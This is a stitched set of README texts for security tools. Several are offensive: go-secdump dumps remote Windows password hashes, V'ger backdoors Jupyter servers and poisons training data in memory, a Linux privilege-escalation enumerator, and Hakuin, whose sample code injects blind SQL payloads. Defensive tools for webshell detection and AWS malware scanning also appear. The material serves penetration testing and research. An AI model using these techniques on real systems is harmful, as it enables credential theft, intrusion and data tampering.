Package go-secdump is a tool built to remotely extract hashes from the SAM registry hive as well as LSA secrets and cached hashes from the SECURITY hive without any remote agent and without touching disk.
The tool is built on top of the library go-smb and use it to communicate with the Windows Remote Registry to retrieve registry keys directly from memory.
It was built as a learning experience and as a proof of concept that it should be possible to remotely retrieve the NT Hashes from the SAM hive and the LSA secrets as well as domain cached credentials without having to first save the registry hives to disk and then parse them locally.
The main problem to overcome was that the SAM and SECURITY hives are only readable by NT AUTHORITY\SYSTEM. However, I noticed that the local group administrators had the WriteDACL permission on the registry hives and could thus be used to temporarily grant read access to itself to retrieve the secrets and then restore the original permissions.
Credits
Much of the code in this project is inspired/taken from Impacket's secdump but converted to access the Windows registry remotely and to only access the required registry keys.
Some of the other sources that have been useful to understanding the registry structure and encryption methods are listed below:
options: --host <target> Hostname or ip address of remote server -P, --port <port> SMB Port (default 445) -d, --domain <domain> Domain name to use for login -u, --user <username> Username -p, --pass <pass> Password -n, --no-pass Disable password prompt and send no credentials --hash <NT Hash> Hex encoded NT Hash for user password --local Authenticate as a local user instead of domain user --dump Saves the SAM and SECURITY hives to disk and transfers them to the local machine. --sam Extract secrets from the SAM hive explicitly. Only other explicit targets are included. --lsa Extract LSA secrets explicitly. Only other explicit targets are included. --dcc2 Extract DCC2 caches explicitly. Only ohter explicit targets are included. --backup-dacl Save original DACLs to disk before modification --restore-dacl Restore DACLs using disk backup. Could be useful if automated restore fails. --backup-file Filename for DACL backup (default dacl.backup) --relay Start an SMB listener that will relay incoming NTLM authentications to the remote server and use that connection. NOTE that this forces SMB 2.1 without encryption. --relay-port <port> Listening port for relay (default 445) --socks-host <target> Establish connection via a SOCKS5 proxy server --socks-port <port> SOCKS5 proxy port (default 1080) -t, --timeout Dial timeout in seconds (default 5) --noenc Disable smb encryption --smb2 Force smb 2.1 --debug Enable debug logging --verbose Enable verbose logging -o, --output Filename for writing results (default is stdout). Will append to file if it exists. -v, --version Show version
Changing DACLs
go-secdump will automatically try to modify and then restore the DACLs of the required registry keys. However, if something goes wrong during the restoration part such as a network disconnect or other interrupt, the remote registry will be left with the modified DACLs.
Using the --backup-dacl argument it is possible to store a serialized copy of the original DACLs before modification. If a connectivity problem occurs, the DACLs can later be restored from file using the --restore-dacl argument.
All information contained in this repository is provided for educational and research purposes only. The author is not responsible for any illegal use of this tool.
It is a specialized network security tool that helps both pentesters and security professionals.
Mechanics
Above is a invisible network sniffer for finding vulnerabilities in network equipment. It is based entirely on network traffic analysis, so it does not make any noise on the air. He's invisible. Completely based on the Scapy library.
Above allows pentesters to automate the process of finding vulnerabilities in network hardware. Discovery protocols, dynamic routing, 802.1Q, ICS Protocols, FHRP, STP, LLMNR/NBT-NS, etc.
options: -h, --help show this help message and exit --interface INTERFACE Interface for traffic listening --timer TIMER Time in seconds to capture packets, if not set capture runs indefinitely --output OUTPUT File name where the traffic will be recorded --input INPUT File name of the traffic dump --passive-arp Passive ARP (Host Discovery)
Information about protocols
The information obtained will be useful not only to the pentester, but also to the security engineer, he will know what he needs to pay attention to.
When Above detects a protocol, it outputs the necessary information to indicate the attack vector or security issue:
Impact: What kind of attack can be performed on this protocol;
Tools: What tool can be used to launch an attack;
Technical information: Required information for the pentester, sender MAC/IP addresses, FHRP group IDs, OSPF/EIGRP domains, etc.
Mitigation: Recommendations for fixing the security problems
Source/Destination Addresses: For protocols, Above displays information about the source and destination MAC addresses and IP addresses
Installation
Linux
You can install Above directly from the Kali Linux repositories
WARNING! Above is not designed to work with tunnel interfaces (L3) due to the use of filters for L2 protocols. Tool on tunneled L3 interfaces may not work properly.
[*] After the protocol is detected - all necessary information about it will be displayed -------------------------------------------------- [+] Detected SSDP Packet [*] Attack Impact: Potential for UPnP Device Exploitation [*] Tools: evil-ssdp [*] SSDP Source IP: 192.168.0.251 [*] SSDP Source MAC: 02:10:de:64:f2:34 [*] Mitigation: Ensure UPnP is disabled on all devices unless absolutely necessary, monitor UPnP traffic -------------------------------------------------- [+] Detected MDNS Packet [*] Attack Impact: MDNS Spoofing, Credentials Interception [*] Tools: Responder [*] MDNS Spoofing works specifically against Windows machines [*] You cannot get NetNTLMv2-SSP from Apple devices [*] MDNS Speaker IP: fe80::183f:301c:27bd:543 [*] MDNS Speaker MAC: 02:10:de:64:f2:34 [*] Mitigation: Filter MDNS traffic. Be careful with MDNS filtering --------------------------------------------------
If you need to record the sniffed traffic, use the --output argument
V'ger is an interactive command-line application for post-exploitation of authenticated Jupyter instances with a focus on AI/ML security operations.
User Stories
As a Red Teamer, you've found Jupyter credentials, but don't know what you can do with them. V'ger is organized in a format that should be intuitive for most offensive security professionals to help them understand the functionality of the target Jupyter server.
As a Red Teamer, you know that some browser-based actions will be visibile to the legitimate Jupyter users. For example, modifying tabs will appear in their workspace and commands entered in cells will be recorded to the history. V'ger decreases the likelihood of detection.
As an AI Red Teamer, you understand academic algorthmic attacks, but need a more practical execution vector. For instance, you may need to modify a large, foundational internet-scale dataset as part of a model poisoning operation. Modifying that dataset at its source may be impossible or generate undesirable auditable artifacts. with V'ger you can achieve the same objectives in-memory, a significant improvement in tradecraft.
As a Blue Teamer, you want to understand logging and visibility into a live Jupyter deployment. V'ger can help you generate repeatable artifacts for testing instrumentation and performing incident response exercises.
Usage
Initial Setup
pip install vger
vger --help
Currently, vger interactive has maximum functionality, maintaining state for discovered artifacts and recurring jobs. However, most functionality is also available by-name in non-interactive format with vger <module>. List available modules with vger --help.
Commands
Once a connection is established, users drop into a nested set of menus.
The top level menu is: - Reset: Configure a different host. - Enumerate: Utilities to learn more about the host. - Exploit: Utilities to perform direct action and manipulation of the host and artifacts. - Persist: Utilities to establish persistence mechanisms. - Export: Save output to a text file. - Quit: No one likes quitters.
These menus contain the following functionality: - List modules: Identify imported modules in target notebooks to determine what libraries are available for injected code. - Inject: Execute code in the context of the selected notebook. Code can be provided in a text editor or by specifying a local .py file. Either input is processed as a string and executed in runtime of the notebook. - Backdoor: Launch a new JupyterLab instance open to 0.0.0.0, with allow-root on a user-specified port with a user-specified password. - Check History: See ipython commands recently run in the target notebook. - Run shell command: Spawn a terminal, run the command, return the output, and delete the terminal. - List dir or get file: List directories relative to the Jupyter directory. If you don't know, start with /. - Upload file: Upload file from localhost to the target. Specify paths in the same format as List dir (relative to the Jupyter directory). Provide a full path including filename and extension. - Delete file: Delete a file. Specify paths in the same format as List dir (relative to the Jupyter directory). - Find models: Find models based on common file formats. - Download models: Download discovered models. - Snoop: Monitor notebook execution and results until timeout. - Recurring jobs: Launch/Kill recurring snippets of code silently run in the target environment.
Experimental
With pip install vger[ai] you'll get LLM generated summaries of notebooks in the target environment. These are meant to be rough translation for non-DS/AI folks to do quick triage of if (or which) notebooks are worth investigating further.
There was an inherent tradeoff on model size vs. ability and that's something I'll continue to tinker with, but hopefully this is helpful for some more traditional security users. I'd love to see folks start prompt injecting their notebooks ("these are not the droids you're looking for").
Perform malware scan analysis of on-prem servers using AWS services
Challenges with on-premises malware detection
It can be difficult for security teams to continuously monitor all on-premises servers due to budget and resource constraints. Signature-based antivirus alone is insufficient as modern malware uses various obfuscation techniques. Server admins may lack visibility into security events across all servers historically. Determining compromised systems and safe backups to restore from during incidents is challenging without centralized monitoring and alerting. It is onerous for server admins to setup and maintain additional security tools for advanced threat detection. The rapid mean time to detect and remediate infections is critical but difficult to achieve without the right automated solution.
Determining which backup image is safe to restore from during incidents without comprehensive threat intelligence is another hard problem. Even if backups are available, without knowing when exactly a system got compromised, it is risky to blindly restore from backups. This increases the chance of restoring malware and losing even more valuable data and systems during incident response. There is a need for an automated solution that can pinpoint the timeline of infiltration and recommend safe backups for restoration.
How to use AWS services to address these challenges
This combo of services provides a cost-effective way to continuously monitor on-premises servers for malware without impacting performance. It also helps determine safe recovery point in time backups for restoration by identifying timeline of compromises through centralized threat analytics.
AWS Elastic Disaster Recovery (AWS DRS) minimizes downtime and data loss with fast, reliable recovery of on-premises and cloud-based applications using affordable storage, minimal compute, and point-in-time recovery.
Amazon GuardDuty is a threat detection service that continuously monitors your AWS accounts and workloads for malicious activity and delivers detailed security findings for visibility and remediation.
AWS Security Hub is a cloud security posture management (CSPM) service that performs security best practice checks, aggregates alerts, and enables automated remediation.
Architecture
Solution description
The Malware Scan solution assumes on-premises servers are already being replicated with AWS DRS, and Amazon GuardDuty & AWS Security Hub are enabled. The cdk stack in this repository will only deploy the boxes labelled as DRS Malware Scan in the architecture diagram.
AWS DRS is replicating source servers from the on-premises environment to AWS (or from any cloud provider for that matter). For further details about setting up AWS DRS please follow the Quick Start Guide.
Amazon GuardDuty is already enabled.
AWS Security Hub is already enabled.
The Malware Scan solution is triggered by a Schedule Rule in Amazon EventBridge (with prefix DrsMalwareScanStack-ScheduleScanRule). You can adjust the scan frequency as needed (i.e. once a day, a week, etc).
The Schedule Rule in Amazon EventBridge triggers the Submit Orders lambda function (with prefix DrsMalwareScanStack-SubmitOrders) which gathers the source servers to scan from the Source Servers DynamoDB table.
Orders are placed on the SQS FIFO queue named Scan Orders (with prefix DrsMalwareScanStack-ScanOrdersfifo). The queue is used to serialize scan requests mapped to the same DRS instance, preventing a race condition.
The Process Order lambda picks a malware scan order from the queue and enriches it, preparing the upcoming malware scan operation. For instance, it inserts the id of the replicating DRS instance associated to the DRS source server provided in the order. The output of Process Order are malware scan commands containing all the necessary information to invoke GuardDuty malware scan.
Malware scan operations are tracked using the DRSVolumeAnnotationsDDBTable at the volume-level, providing reporting capabilities.
Malware scan commands are inserted in the Scan Commands SQS FIFO queue (with prefix DrsMalwareScanStack-ScanCommandsfifo) to increase resiliency.
The Process Commands function submits queued scan commands at a maximum rate of 1 command per second to avoid API throttling. It triggers the on-demand malware scan function provided by Amazon GuardDuty.
The execution of the on-demand Amazon GuardDuty Malware job can be monitored from the Amazon GuardDuty service.
The outcome of malware scan job is routed to Amazon Cloudwath Logs.
The Subscription Filter lambda function receives the outcome of the scan and tracks the result using DynamoDB (step #14).
The DRS Instance Annotations DynamoDB Table tracks the status of the malware scan job at the instance level.
The CDK stack named ScanReportStack deploys the Scan Report lambda function (with prefix ScanReportStack-ScanReport) to populate the Amazon S3 bucket with prefix scanreportstack-scanreportbucket.
AWS Security Hub aggregates and correlates findings from Amazon GuardDuty.
The Security Hub finding event is caught by an EventBridge Rule (with prefix DrsMalwareScanStack-SecurityHubAnnotationsRule)
The Security Hub Annotations lambda function (with prefix DrsMalwareScanStack-SecurityHubAnnotation) generates additional Notes (Annotations) to the Finding with contextualized information about the source server being affected. This additional information can be seen in the Notes section within the Security Hub Finding.
The follow-up activities will depend on the incident response process being adopted. For example based on the date of the infection, AWS DRS can be used to perform a point in time recovery using a snapshot previous to the date of the malware infection.
In a Multi-Account scenario, this solution can be deployed directly on the AWS account hosting the AWS DRS solution. The Amazon GuardDuty findings will be automatically sent to the centralized Security Account.
Usage
Pre-requisites
An AWS Account.
Amazon Elastic Disaster Recovery (DRS) configured, with at least 1 server source in sync. If not, please check this documentation. The Replication Configuration must consider EBS encryption using Custom Managed Key (CMK) from AWS Key Management Service (AWS KMS). Amazon GuardDuty Malware Protection does not support default AWS managed key for EBS.
IAM Privileges to deploy the components of this solution.
Amazon GuardDuty enabled. If not, please check this documentation
Amazon Security Hub enabled. If not, please check this documentation
Warning Currently, Amazon GuardDuty Malware scan does not support EBS volumes encrypted with EBS-managed keys. If you want to use this solution to scan your on-prem (or other-cloud) servers replicated with DRS, you need to setup DRS replication with your own encryption key in KMS. If you are currently using EBS-managed keys with your replicating servers, you can change encryption settings to use your own KMS key in the DRS console.
Deploy
Create a Cloud9 environment with Ubuntu image (at least t3.small for better performance) in your AWS account. Open your Cloud9 environment and clone the code in this repository. Note: Amazon Linux 2 has node v16 which is not longer supported since 2023-09-11 git clone https://github.com/aws-samples/drs-malware-scan
cd drs-malware-scan
sh check_loggroup.sh
Deploy the CDK stack by running the following command in the Cloud9 terminal and confirm the deployment
npm installcdk bootstrapcdk deploy --allNote The solution is made of 2 stacks: * DrsMalwareScanStack: it deploys all resources needed for malware scanning feature. This stack is mandatory. If you want to deploy only this stack you can run cdk deploy DrsMalwareScanStack * ScanReportStack: it deploys the resources needed for reporting (Amazon Lambda and Amazon S3). This stack is optional. If you want to deploy only this stack you can run cdk deploy ScanReportStack
If you want to deploy both stacks you can run cdk deploy --all
Troubleshooting
All lambda functions route logs to Amazon CloudWatch. You can verify the execution of each function by inspecting the proper CloudWatch log groups for each function, look for the /aws/lambda/DrsMalwareScanStack-* pattern.
The duration of the malware scan operation will depend on the number of servers/volumes to scan (and their size). When Amazon GuardDuty finds malware, it generates a SecurityHub finding: the solution intercepts this event and runs the $StackName-SecurityHubAnnotations lambda to augment the SecurityHub finding with a note containing the name(s) of the DRS source server(s) with malware.
The SQS FIFO queues can be monitored using the Messages available and Message in flight metrics from the AWS SQS console
The DRS Volume Annotations DynamoDB tables keeps track of the status of each Malware scan operation.
In order to analize logs from Amazon GuardDuty Malware scan operations, you can check /aws/guardduty/malware-scan-events Amazon Cloudwatch LogGroup. The default log retention period for this log group is 90 days, after which the log events are deleted automatically.
Cleanup
Run the following commands in your terminal:
cdk destroy --all
(Optional) Delete the CloudWatch log groups associated with Lambda Functions.
AWS Cost Estimation Analysis
For the purpose of this analysis, we have assumed a fictitious scenario to take as an example. The following cost estimates are based on services located in the North Virginia (us-east-1) region.
Note The figures presented here are estimates based on the assumptions described above, derived from the AWS Pricing Calculator. For further details please check this pricing calculator as a reference. You can adjust the services configuration in the referenced calculator to make your own estimation. This estimation does not include potential taxes or additional charges that might be applicable. It's crucial to remember that actual fees can vary based on usage and any additional services not covered in this analysis. For critical environments is advisable to include Business Support Plan (not considered in the estimation)
An open-source, prototype implementation of property graphs for JavaScript based on the esprima parser, and the EsTree SpiderMonkey Spec. JAW can be used for analyzing the client-side of web applications and JavaScript-based programs.
This project is licensed under GNU AFFERO GENERAL PUBLIC LICENSE V3.0. See here for more information.
July 2022, JAW-v2 (TheThing): JAW updated to its next major release with the ability to detect DOM Clobbering vulnerabilities. See JAW-V2 branch.
Dec 2020, JAW-v1 : first prototype version. See JAW-V1 branch.
Overview of JAW
The architecture of the JAW is shown below.
Test Inputs
JAW can be used in two distinct ways:
Arbitrary JavaScript Analysis: Utilize JAW for modeling and analyzing any JavaScript program by specifying the program's file system path.
Web Application Analysis: Analyze a web application by providing a single seed URL.
Data Collection
JAW features several JavaScript-enabled web crawlers for collecting web resources at scale.
HPG Construction
Use the collected web resources to create a Hybrid Program Graph (HPG), which will be imported into a Neo4j database.
Optionally, supply the HPG construction module with a mapping of semantic types to custom JavaScript language tokens, facilitating the categorization of JavaScript functions based on their purpose (e.g., HTTP request functions).
Analysis and Outputs
Query the constructed Neo4j graph database for various analyses. JAW offers utility traversals for data flow analysis, control flow analysis, reachability analysis, and pattern matching. These traversals can be used to develop custom security analyses.
JAW also includes built-in traversals for detecting client-side CSRF, DOM Clobbering and request hijacking vulnerabilities.
The outputs will be stored in the same folder as that of input.
Setup
The installation script relies on the following prerequisites: - Latest version of npm package manager (node js) - Any stable version of python 3.x - Python pip package manager
Afterwards, install the necessary dependencies via:
$ ./install.sh
For detailed installation instructions, please see here.
Quick Start
Running the Pipeline
You can run an instance of the pipeline in a background screen via:
optional arguments: -h, --help show this help message and exit --conf FILE, -C FILE pipeline configuration file. (default: config.yaml) --site SITE, -S SITE website to test; overrides config file (default: None) --list LIST, -L LIST site list to test; overrides config file (default: None) --from FROM, -F FROM the first entry to consider when a site list is provided; overrides config file (default: -1) --to TO, -T TO the last entry to consider when a site list is provided; overrides config file (default: -1)
Input Config: JAW expects a .yaml config file as input. See config.yaml for an example.
Hint. The config file specifies different passes (e.g., crawling, static analysis, etc) which can be enabled or disabled for each vulnerability class. This allows running the tool building blocks individually, or in a different order (e.g., crawl all webapps first, then conduct security analysis).
Quick Example
For running a quick example demonstrating how to build a property graph and run Cypher queries over it, do:
This module collects the data (i.e., JavaScript code and state values of web pages) needed for testing. If you want to test a specific JavaScipt file that you already have on your file system, you can skip this step.
JAW has crawlers based on Selenium (JAW-v1), Puppeteer (JAW-v2, v3) and Playwright (JAW-v3). For most up-to-date features, it is recommended to use the Puppeteer- or Playwright-based versions.
Playwright CLI with Foxhound
This web crawler employs foxhound, an instrumented version of Firefox, to perform dynamic taint tracking as it navigates through webpages. To start the crawler, do:
$ cd crawler $ node crawler-taint.js --seedurl=https://google.com --maxurls=100 --headless=true --foxhoundpath=<optional-foxhound-executable-path>
The foxhoundpath is by default set to the following directory: crawler/foxhound/firefox which contains a binary named firefox.
Note: you need a build of foxhound to use this version. An ubuntu build is included in the JAW-v3 release.
Puppeteer CLI
To start the crawler, do:
$ cd crawler $ node crawler.js --seedurl=https://google.com --maxurls=100 --browser=chrome --headless=true
optional arguments: --lang: language of the input program --graphid: an identifier for the generated HPG --input: path of the input program(s) --output: path of the output HPG, must be i --mode: determines the output format (csv or graphML)
HPG Import CLI
To import an HPG inside a neo4j graph database (docker instance), do:
This script imports a CSV of a property graph into a neo4j docker database.
optional arguments: -h, --help show this help message and exit --rpath P relative path to the folder containing the graph CSV files inside the `data` directory --id I an identifier for the graph or docker container --nodes N the name of the nodes csv file (default: nodes.csv) --edges E the name of the relations csv file (default: rels.csv)
HPG Construction and Import CLI (v1)
In order to create a hybrid property graph for the output of the hpg_crawler and import it inside a local neo4j instance, you can also do:
<path>: absolute path to the folder containing the program files for analysis (must be under the engine/outputs folder).
--js=<program.js>: name of the JavaScript program for analysis (default: js_program.js).
--import=<bool>: whether the constructed property graph should be imported to an active neo4j database (default: true).
--hybrid=bool: whether the hybrid mode is enabled (default: false). This implies that the tester wants to enrich the property graph by inputing files for any of the HTML snapshot, fired events, HTTP requests and cookies, as collected by the JAW crawler.
--reqs=<requests.out>: for hybrid mode only, name of the file containing the sequence of obsevered network requests, pass the string false to exclude (default: request_logs_short.out).
--evts=<events.out>: for hybrid mode only, name of the file containing the sequence of fired events, pass the string false to exclude (default: events.out).
--cookies=<cookies.pkl>: for hybrid mode only, name of the file containing the cookies, pass the string false to exclude (default: cookies.pkl).
--html=<html_snapshot.html>: for hybrid mode only, name of the file containing the DOM tree snapshot, pass the string false to exclude (default: html_rendered.html).
For more information, you can use the help CLI provided with the graph construction API:
$ python3 -m engine.api -h
Security Analysis
The constructed HPG can then be queried using Cypher or the NeoModel ORM.
Running Custom Graph traversals
You should place and run your queries in analyses/<ANALYSIS_NAME>.
Option 1: Using the NeoModel ORM (Deprecated)
You can use the NeoModel ORM to query the HPG. To write a query:
This section describes how to configure and use JAW for vulnerability detection, and how to interpret the output. JAW contains, among others, self-contained queries for detecting client-side CSRF and DOM Clobbering
Step 1. enable the analysis component for the vulnerability class in the input config.yaml file:
The outputs will be stored in a file called sink.flows.out in the same folder as that of the input. For Client-side CSRF, for example, for each HTTP request detected, JAW outputs an entry marking the set of semantic types (a.k.a, semantic tags or labels) associated with the elements constructing the request (i.e., the program slices). For example, an HTTP request marked with the semantic type ['WIN.LOC'] is forgeable through the window.location injection point. However, a request marked with ['NON-REACH'] is not forgeable.
1:['WIN.LOC'] variable=ajaxloc 0 (loc:6)- var ajaxloc = window.location.href
This entry shows that on line 29, there is a $.ajax call expression, and this call expression triggers an ajax request with the url template value of ajaxloc + "/bearer1234/, where the parameter ajaxloc is a program slice reading its value at line 6 from window.location.href, thus forgeable through ['WIN.LOC'].
Test Web Application
In order to streamline the testing process for JAW and ensure that your setup is accurate, we provide a simple node.js web application which you can test JAW with.
Pull requests are always welcomed. This project is intended to be a safe, welcoming space, and contributors are expected to adhere to the contributor code of conduct.
Academic Publication
If you use the JAW for academic research, we encourage you to cite the following paper:
@inproceedings{JAW, title = {JAW: Studying Client-side CSRF with Hybrid Property Graphs and Declarative Traversals}, author= {Soheil Khodayari and Giancarlo Pellegrino}, booktitle = {30th {USENIX} Security Symposium ({USENIX} Security 21)}, year = {2021}, address = {Vancouver, B.C.}, publisher = {{USENIX} Association}, }
Acknowledgements
JAW has come a long way and we want to give our contributors a well-deserved shoutout here!
This project was inspired by https://github.com/rebootuser/LinEnum and uses many of its tests.
Unlike LinEnum, lse tries to gradualy expose the information depending on its importance from a privesc point of view.
What is it?
This shell script will show relevant information about the security of the local Linux system, helping to escalate privileges.
From version 2.0 it is mostlyPOSIX compliant and tested with shellcheck and posh.
It can also monitor processes to discover recurrent program executions. It monitors while it is executing all the other tests so you save some time. By default it monitors during 1 minute but you can choose the watch time with the -p parameter.
It has 3 levels of verbosity so you can control how much information you see.
In the default level you should see the highly important security flaws in the system. The level 1 (./lse.sh -l1) shows interesting information that should help you to privesc. The level 2 (./lse.sh -l2) will just dump all the information it gathers about the system.
By default it will ask you some questions: mainly the current user password (if you know it ;) so it can do some additional tests.
How to use it?
The idea is to get the information gradually.
First you should execute it just like ./lse.sh. If you see some green yes!, you probably have already some good stuff to work with.
If not, you should try the level 1 verbosity with ./lse.sh -l1 and you will see some more information that can be interesting.
If that does not help, level 2 will just dump everything you can gather about the service using ./lse.sh -l2. In this case you might find useful to use ./lse.sh -l2 | less -r.
You can also select what tests to execute by passing the -s parameter. With it you can select specific tests or sections to be executed. For example ./lse.sh -l2 -s usr010,net,pro will execute the test usr010 and all the tests in the sections net and pro.
Use: ./lse.sh [options]
OPTIONS -c Disable color -i Non interactive mode -h This help -l LEVEL Output verbosity level 0: Show highly important results. (default) 1: Show interesting results. 2: Show all gathered information. -s SELECTION Comma separated list of sections or tests to run. Available sections: usr: User related tests. sud: Sudo related tests. fst: File system related tests. sys: System related tests. sec: Security measures related tests. ret: Recurren tasks (cron, timers) related tests. net: Network related tests. srv: Services related tests. pro: Processes related tests. sof: Software related tests. ctn: Container (docker, lxc) related tests. cve: CVE related tests. Specific tests can be used with their IDs (i.e.: usr020,sud) -e PATHS Comma separated list of paths to exclude. This allows you to do faster scans at the cost of completeness -p SECONDS Time that the process monitor will spend watching for processes. A value of 0 will disable any watch (default: 60) -S Serve the lse.sh script in this host so it can be retrieved from a remote host.
"ShellSweep" is a PowerShell/Python/Lua tool designed to detect potential webshell files in a specified directory.
ShellSheep and it's suite of tools calculate the entropy of file contents to estimate the likelihood of a file being a webshell. High entropy indicates more randomness, which is a characteristic of encrypted or obfuscated codes often found in webshells. - It only processes files with certain extensions (.asp, .aspx, .asph, .php, .jsp), which are commonly used in webshells. - Certain directories can be excluded from scanning. - Files with certain hashes can be ignored during the scan.
How does ShellSweep find the shells?
Entropy, in the context of information theory or data science, is a measure of the unpredictability, randomness, or disorder in a set of data. The concept was introduced by Claude Shannon in his 1948 paper "A Mathematical Theory of Communication".
When applied to a file or a string of text, entropy can help assess the randomness of the data. Here's how it works: If a file consists of completely random data (each byte is just as likely to be any value between 0 and 255), the entropy is high, close to 8 (since log2(256) = 8).
If a file consists of highly structured data (for example, a text file where most bytes are ASCII characters), the entropy is lower. In the context of finding webshells or malicious files, entropy can be a useful indicator: - Many obfuscated scripts or encrypted payloads can have high entropy because the obfuscation or encryption process makes the data look random. - A normal text file or HTML file would generally have lower entropy because human-readable text has patterns and structure (certain letters are more common, words are usually separated by spaces, etc.). So, a file with unusually high entropy might be suspicious and worth further investigation. However, it's not a surefire indicator of maliciousness -- there are plenty of legitimate reasons a file might have high entropy, and plenty of ways malware might avoid causing high entropy. It's just one tool in a larger toolbox for detecting potential threats.
ShellSweep includes a Get-Entropy function that calculates the entropy of a file's contents by: - Counting how often each character appears in the file. - Using these frequencies to calculate the probability of each character. - Summing -p*log2(p) for each character, where p is the character's probability. This is the formula for entropy in information theory.
ShellScan
ShellScan provides the ability to scan multiple known bad webshell directories and output the average, median, minimum and maximum entropy values by file extension.
Pass ShellScan.ps1 some directories of webshells, any size set. I used:
This will give a decent training set to get entropy values.
Output example:
Statistics for .aspx files: Average entropy: 4.94212121048115 Minimum entropy: 1.29348709979974 Maximum entropy: 6.09830238020383 Median entropy: 4.85437969842084 Statistics for .asp files: Average entropy: 5.51268104400858 Minimum entropy: 0.732406213077191 Maximum entropy: 7.69241278153711 Median entropy: 5.57351177724806
ShellCSV
First, let's break down the usage of ShellCSV and how it assists with identifying entropy of the good files on disk. The idea is that defenders can run this on web servers to gather all files and entropy values to better understand what paths and extensions are most prominent in their working environment.
See ShellCSV.csv as example output.
ShellSweep
First, choose your flavor: Python, PowerShell or Lua.
Based on results from ShellScan or ShellCSV, modify entropy values as needed.
Modify file extensions as needed. No need to look for ASPX on a non-ASPX app.
Modify paths. I don't recommend just scanning all the C:\, lots to filter.
Modify any filters needed.
Run it!
If you made it here, this is the part where you iterate on tuning. Find new shell? Gather entropy and modify as needed.
Questions
Feel free to open a Git issue.
Thank You
If you enjoyed this project, be sure to star the project and share with your family and friends.
Retrieve and display information about active user sessions on remote computers. No admin privileges required.
The tool leverages the remote registry service to query the HKEY_USERS registry hive on the remote computers. It identifies and extracts Security Identifiers (SIDs) associated with active user sessions, and translates these into corresponding usernames, offering insights into who is currently logged in.
If the -CheckAdminAccess switch is provided, it will gather sessions by authenticating to targets where you have local admin access using Invoke-WMIRemoting (which most likely will retrieve more results)
It's important to note that the remote registry service needs to be running on the remote computer for the tool to work effectively. In my tests, if the service is stopped but its Startup type is configured to "Automatic" or "Manual", the service will start automatically on the target computer once queried (this is native behavior), and sessions information will be retrieved. If set to "Disabled" no session information can be retrieved from the target.
Subdomain takeover is a common vulnerability that allows an attacker to gain control over a subdomain of a target domain and redirect users intended for an organization's domain to a website that performs malicious activities, such as phishing campaigns, stealing user cookies, etc. It occurs when an attacker gains control over a subdomain of a target domain. Typically, this happens when the subdomain has a CNAME in the DNS, but no host is providing content for it. Subhunter takes a given list of Subdomains" title="Subdomains">subdomains and scans them to check this vulnerability.
Features:
Auto update
Uses random user agents
Built in Go
Uses a fork of fingerprint data from well known sources (can-i-take-over-xyz)
$ git clone https://github.com/Nemesis0U/Subhunter.git $ go build subhunter.go
Usage:
Options:
Usage of subhunter: -l string File including a list of hosts to scan -o string File to save results -t int Number of threads for scanning (default 50) -timeout int Timeout in seconds (default 20)
[+] Nothing found at www.ubereats.com: Not Vulnerable [+] Nothing found at testauth.ubereats.com: Not Vulnerable [+] Nothing found at apple-maps-app-clip.ubereats.com: Not Vulnerable [+] Nothing found at about.ubereats.com: Not Vulnerable [+] Nothing found at beta.ubereats.com: Not Vulnerable [+] Nothing found at ewp.ubereats.com: Not Vulnerable [+] Nothi ng found at edgetest.ubereats.com: Not Vulnerable [+] Nothing found at guest.ubereats.com: Not Vulnerable [+] Google Cloud: Possible takeover found at testauth.ubereats.com: Vulnerable [+] Nothing found at info.ubereats.com: Not Vulnerable [+] Nothing found at learn.ubereats.com: Not Vulnerable [+] Nothing found at merchants.ubereats.com: Not Vulnerable [+] Nothing found at guest-beta.ubereats.com: Not Vulnerable [+] Nothing found at merchant-help.ubereats.com: Not Vulnerable [+] Nothing found at merchants-beta.ubereats.com: Not Vulnerable [+] Nothing found at merchants-staging.ubereats.com: Not Vulnerable [+] Nothing found at messages.ubereats.com: Not Vulnerable [+] Nothing found at order.ubereats.com: Not Vulnerable [+] Nothing found at restaurants.ubereats.com: Not Vulnerable [+] Nothing found at payments.ubereats.com: Not Vulnerable [+] Nothing found at static.ubereats.com: Not Vulnerable
Hakuin is a Blind SQL Injection (BSQLI) optimization and automationframework written in Python 3. It abstracts away the inference logic and allows users to easily and efficiently extract databases (DB) from vulnerable web applications. To speed up the process, Hakuin utilizes a variety of optimization methods, including pre-trained and adaptive language models, opportunistic guessing, parallelism and more.
More information can be found in our paper and slides.
Installation
To install Hakuin, simply run:
pip3 install hakuin
Developers should install the package locally and set the -e flag for editable mode:
git clone [email protected]:pruzko/hakuin.git cd hakuin pip3 install -e .
Examples
Once you identify a BSQLI vulnerability, you need to tell Hakuin how to inject its queries. To do this, derive a class from the Requester and override the request method. Also, the method must determine whether the query resolved to True or False.
Example 1 - Query Parameter Injection with Status-based Inference
import aiohttp from hakuin import Requester
class StatusRequester(Requester): async def request(self, ctx, query): r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --') return r.status == 200
Example 2 - Header Injection with Content-based Inference
class ContentRequester(Requester): async def request(self, ctx, query): headers = {'vulnerable-header': f'xxx" OR ({query}) --'} r = await aiohttp.get(f'http://vuln.com/', headers=headers) return 'found' in await r.text()
To start extracting data, use the Extractor class. It requires a DBMS object to contruct queries and a Requester object to inject them. Hakuin currently supports SQLite, MySQL, PSQL (PostgreSQL), and MSSQL (SQL Server) DBMSs, but will soon include more options. If you wish to support another DBMS, implement the DBMS interface defined in hakuin/dbms/DBMS.py.
Example 1 - Extracting SQLite/MySQL/PSQL/MSSQL
import asyncio from hakuin import Extractor, Requester from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL
class StatusRequester(Requester): ...
async def main(): # requester: Use this Requester # dbms: Use this DBMS # n_tasks: Spawns N tasks that extract column rows in parallel ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1) ...
if __name__ == '__main__': asyncio.get_event_loop().run_until_complete(main())
Now that eveything is set, you can start extracting DB metadata.
Example 1 - Extracting DB Schemas
# strategy: # 'binary': Use binary search # 'model': Use pre-trained model schema_names = await ext.extract_schema_names(strategy='model')
Once you know the structure, you can extract the actual content.
Example 1 - Extracting Generic Columns
# text_strategy: Use this strategy if the column is text res = await ext.extract_column(table='users', column='address', text_strategy='dynamic')
Example 2 - Extracting Textual Columns
# strategy: # 'binary': Use binary search # 'fivegram': Use five-gram model # 'unigram': Use unigram model # 'dynamic': Dynamically identify the best strategy. This setting # also enables opportunistic guessing. res = await ext.extract_column_text(table='users', column='address', strategy='dynamic')
Example 3 - Extracting Integer Columns
res = await ext.extract_column_int(table='users', column='id')
Example 4 - Extracting Float Columns
res = await ext.extract_column_float(table='products', column='price')
Example 5 - Extracting Blob (Binary Data) Columns
